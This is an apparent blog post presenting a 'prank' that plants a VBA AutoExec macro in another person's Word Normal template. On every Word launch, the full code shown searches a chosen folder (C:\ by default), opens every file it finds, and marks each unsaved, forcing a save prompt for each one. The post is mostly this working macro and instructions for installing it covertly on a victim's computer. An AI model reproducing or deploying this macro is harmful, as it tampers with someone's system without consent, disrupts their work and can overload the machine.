Most people save their word documents in one main folder (My Documents). This next prank takes advantage of this carelessness. What happens is, whenever you open up word, it opens every document in the folder you specify. So if they have 1000 files it opens up all 1000. This would be annoying enough to have to go and close each one by hand, but I decided it wasn’t annoying enough. When it opens a document, it sets save = false. So, now not only do you have to close them but it will prompt you every single time to save. Depending on the person this could be just down right mean.
So how do you do it
Step 1: Open Word
Step 2: Press Alt F11
Step 3: Select your Normal Template
Step 4: Copy this code into “ThisDocument”
Sub AutoExec()
With Application.FileSearch
.FileName = "*"
.LookIn = "C:\"
.Execute
For I = 1 To .FoundFiles.Count
Documents.Open FileName:=CStr(.FoundFiles(I))
ActiveDocument.saved = false
Next I
End With
End Sub
Step 5: Change the .lookIN=”C:\” to the file location of your choice. (Where ever they save their docs)
Step6: Ctrl+S
Step7: Close Word
Now if this is done correctly it will open EVERY file that Word is capable of opening.
Happy Pranking